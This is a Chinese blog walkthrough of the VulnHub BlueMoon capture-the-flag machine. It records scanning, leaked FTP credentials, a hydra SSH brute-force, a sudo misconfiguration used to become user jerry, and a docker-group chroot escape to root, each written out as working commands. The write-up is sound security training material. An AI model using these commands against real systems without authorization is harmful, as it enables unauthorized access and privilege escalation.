当前位置: 首页 > news >正文

VulnHub:BlueMoon

准备工作

靶机下载地址,下载完成后使用virtualbox打开虚拟机,网络设置修改为桥接。

信息收集

主机发现

攻击机ip:192.168.31.218,nmap扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip为:192.168.31.228

端口扫描

nmap 192.168.31.228 -A -p- -T4

目标靶机开放了21,22,80端口。

  1. 21端口ftp服务,vsftpd 3.0.3

  2. 22端口ssh服务,OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

  3. 80端口http服务,Apache httpd 2.4.38

web站点信息收集

访问http服务,首页如下:

没什么信息,目录扫描dirsearch -u http://192.168.31.228,没信息,换个字典。

dirsearch -u http://192.168.31.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

找到一个隐蔽的目录hidden_text。访问结果如图:

Thank You指向另一个路径,访问得到一个二维码。

扫描内容如下:

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF

渗透

FTP登录

根据web信息收集中二维码扫描内容,可知涉及FTP的简单的shell脚本的使用,ftp用户名是userftp,密码是ftpp@ssword,直接登录即可。这里我写的shell脚本,来显示文件列表(纯纯试一下ftp的简单shell脚本如何使用,都给出了用户名和密码直接登录即可,最终目的就是拿到ftp服务器中的两个文件)

#!/bin/bash
ftp -inv 192.168.31.228 << EOF  # EOF是一个分界标志
user userftp ftpp@ssword
binary                          # 设定传输方式为二进制方式
pwd                             # 查看FTP服务器上的当前工作目录
ls                              # 显示文件列表
bye                             # 推出ftp会话
EOF

执行shell脚本得到ftp当前工作目录,和文件列表。

修改一下shell脚本,下载FTP服务器上的文件。

#!/bin/bash
ftp -inv 192.168.31.228 << EOF  # EOF是一个分界标志
user userftp ftpp@ssword
binary  
get information.txt
get p_lists.txt
bye                             
EOF

执行脚本得到一个字典文件p_lists.txt和information.txt,information.txt内容如下:

Hello robin ...! I'm Already Told You About Your Password Weekness. I will give a Password list. you May Choose Anyone of The Password.

存在一个用户robin,并给出了密码字典,爆破吧。

ssh爆破

给出了用户名和字典,hydra爆破ssh。

hydra -l robin -P p_lists.txt ssh://192.168.31.228

得到密码:k4rv3ndh4nh4ck3r

ssh登录过程中有点小问题,提示WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! ,解决方法如下:

ssh-keygen -R 192.168.31.228

之后正常登录即可。

get user1.txt!

接下来找到了user2.txt,但是仅jerry才有读权。

提权

sudo提权

sudo提权,sudo -l,发现可以通过/home/robin/project/feedback.sh提权到jerry。

feedback.sh当前仅有rx权限,放弃写入反弹shell的方法,直接执行,提示需要输入名字和目标机器。

sudo -u jerry ./feedback.shEnter Your Name:随便填一个
Enter You FeedBack About This Target Machine:/bin/bash

成功切换到jerry,注意到jerry用户加入了docker用户组。

获得一个交互式shell。

python3 -c 'import pty;pty.spawn("/bin/bash")'

get user2.txt!

docker容器提权

当前jerry用户是普通用户,且加入了docker组。有一个提权方式——普通用户利用docker容器提权。

补充:为什么能利用docker容器提权?因为用户创建一个docker容器后,容器内默认是root账户,会自动在命令前添加sudo。一个普通用户只要加入docker组就等同于root。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

提权成功。

get root.txt!🎆

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • noi 1700 输出 八皇后问题
  • 使用zip包来安装mysql
  • Vue3+Setup使用websocket
  • mybatis xml 动态sql相关语法
  • <Linux>进程概念-下
  • 表操作数据库练习
  • 苹果电脑文件加密?【小编带你挖宝解决问题!】
  • 基于UDP的网络聊天室
  • 湖南省第八届职工职业技能大赛 暨“智赋万企”数字化应用技术技能大赛 网络与信息安全管理员赛项技术文件
  • 8.15成都市计量院面试问答
  • Linux - 常用基础指令和命令
  • 脱胎于 S 语言的R语言,它何为成为各行业数据分析师的首选?
  • anolis 8.9安装k8s
  • 【C++11】右值引用的深度解析(什么是右值引用?它有什么作用?能应用在那些场景?)
  • 使用MYSQL函数问题
  • canvas 绘制双线技巧
  • golang 发送GET和POST示例
  • k8s 面向应用开发者的基础命令
  • nfs客户端进程变D,延伸linux的lock
  • unity如何实现一个固定宽度的orthagraphic相机
  • 安卓应用性能调试和优化经验分享
  • 包装类对象
  • 得到一个数组中任意X个元素的所有组合 即C(n,m)
  • 基于Volley网络库实现加载多种网络图片(包括GIF动态图片、圆形图片、普通图片)...
  • 技术攻略】php设计模式(一):简介及创建型模式
  • 近期前端发展计划
  • 排序(1):冒泡排序
  • 排序算法学习笔记
  • 前端技术周刊 2019-02-11 Serverless
  • 浅谈web中前端模板引擎的使用
  • 如何使用 JavaScript 解析 URL
  • 微信小程序填坑清单
  • 在Docker Swarm上部署Apache Storm:第1部分
  • 阿里云ACE认证学习知识点梳理
  • ​低代码平台的核心价值与优势
  • #git 撤消对文件的更改
  • #如何使用 Qt 5.6 在 Android 上启用 NFC
  • (Note)C++中的继承方式
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (附源码)springboot社区居家养老互助服务管理平台 毕业设计 062027
  • (论文阅读11/100)Fast R-CNN
  • (算法)Travel Information Center
  • (原)Matlab的svmtrain和svmclassify
  • (转)真正的中国天气api接口xml,json(求加精) ...
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • .net 8 发布了,试下微软最近强推的MAUI
  • .NET CLR Hosting 简介
  • .NET/C# 的字符串暂存池
  • .NET:自动将请求参数绑定到ASPX、ASHX和MVC(菜鸟必看)
  • .net程序集学习心得
  • .NET企业级应用架构设计系列之开场白
  • .one4-V-XXXXXXXX勒索病毒数据怎么处理|数据解密恢复
  • /dev/sda2 is mounted; will not make a filesystem here!
  • @EnableWebMvc介绍和使用详细demo
  • @Query中countQuery的介绍